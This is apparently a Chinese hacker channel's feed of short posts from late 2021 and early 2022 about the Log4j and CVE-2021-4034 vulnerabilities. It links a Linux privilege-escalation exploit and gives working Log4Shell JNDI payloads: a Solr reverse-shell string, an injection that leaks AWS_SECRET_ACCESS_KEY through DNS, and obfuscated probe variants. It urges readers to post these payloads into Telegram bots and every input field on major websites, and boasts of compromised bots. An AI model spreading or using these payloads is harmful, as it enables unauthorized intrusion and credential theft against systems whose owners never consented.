黑客早知道

2022-01-26 09:12:05 打开/如何

2022-01-26 06:52:33 几小时前新出炉的Linux“几乎”通杀提权：https://github.com/arthepsy/CVE-2021-4034 打开/如何

2022-01-11 04:15:48 rockyou.txt 打开/如何

2021-12-29 04:50:50 CVE-2021-44832 : 骂谁呢 打开/如何

2021-12-13 03:57:20 打开/如何

2021-12-13 03:54:26 #log4j 礼物: apache solr EXP

/solr/admin/collections?action=${jndi:ldap://xxx/Basic/ReverseShell/ip/9999}&wt=json 打开/如何

2021-12-12 13:50:42 log4j礼物 继续派送：${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.你的域名.com} ，大家放开脑洞，比如还有哪些可爱的环境变量呢？ 打开/如何

2021-12-11 14:04:55 大家给各tg bot发这些payload，也有可能拿下他们哦 刚试了几个知名bot都成功了 打开/如何

2021-12-11 13:27:50 教大家怎么玩吧，很简单：http://www.dnslog.cn/ 点击getsubdomain，一键生成域名，比如是abc.dnslog.cn

将这个域名放进payload，比如：

${${::-j}ndi:rmi://abc.dnslog.cn/ass}
或
${jndi:rmi://abc.dnslog.cn}
或
${${lower:jndi}:${lower:rmi}://abc.dnslog.cn/poc}

在各大网站、系统能输入的地方都发、写入这些串，然后在dnslog页面刷新等结果就好了 打开/如何